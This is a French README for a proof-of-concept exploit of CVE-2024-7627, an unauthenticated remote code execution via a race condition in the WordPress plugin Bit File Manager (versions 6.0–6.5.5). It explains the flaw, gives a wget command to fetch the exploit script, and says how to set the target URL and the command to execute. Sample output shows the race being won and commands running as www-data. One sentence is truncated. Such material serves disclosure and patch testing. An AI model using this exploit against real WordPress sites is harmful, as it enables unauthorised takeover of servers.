
Script de preuve de concept pour le plugin WordPress Bit File Manager versions 6.0 - 6.5.5 : exécution de code à distance non authentifiée via une condition de concurrence (vulnérabilité CVE-2024-7627).
Ce script Proof-of-Concept (PoC) concerne la vulnérabilité d'exécution de code à distance non authentifiée via une condition de concurrence (CVE-2024-7627) dans les versions 6.0 à 6.5.5 du plugin WordPress Bit File Manager.
Description :
Le plugin Bit File Manager pour WordPress est vulnérable à l'exécution de code à distance (Remote Code Execution) dans les versions 6.0 à 6.5.5 via la fonction checkSyntax. Cela est dû à l'écriture d'un fichier temporaire dans un répertoire accessible publiquement avant d'effectuer la validation du fichier. Cela permet à des attaquants non authentifiés d'exécuter du code sur le serveur si un administrateur a autorisé les autorisations de lecture pour les utilisateurs invités (Guest User). (Source : https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-60-655-unauthenticated-remote-code-execution-via-race-condition)
wget https://raw.githubusercontent.com/siunam321/CVE-2024-7627-PoC/main/poc.py
file-manager doivent déjà avoir été configurés par l'administrateur.Mettez à jour targetBaseUrl, fileManagerPostPath et/ou commandToExecute du script Python poc.py avec les valeurs souhaitées. Ensuite, exécutez python3 poc.py pour lancer le script PoC.
Exemple de sortie :
└> python3 poc.py
[*] Getting a valid AJAX nonce...
[+] Found the valid AJAX nonce: f3128b289e
[*] Getting a random file's hash via elFinder command "open"...
[+] Found file "wp-config-sample.php" with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA"!
[*] Editing file with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA" via elFinder command "put" and getting the edited temporary PHP file at "http://localhost/wp-content/uploads/file-managertemp.php"...
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[+] We won the race condition! Here's the PHP payload result:
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
8d3b2776e8a6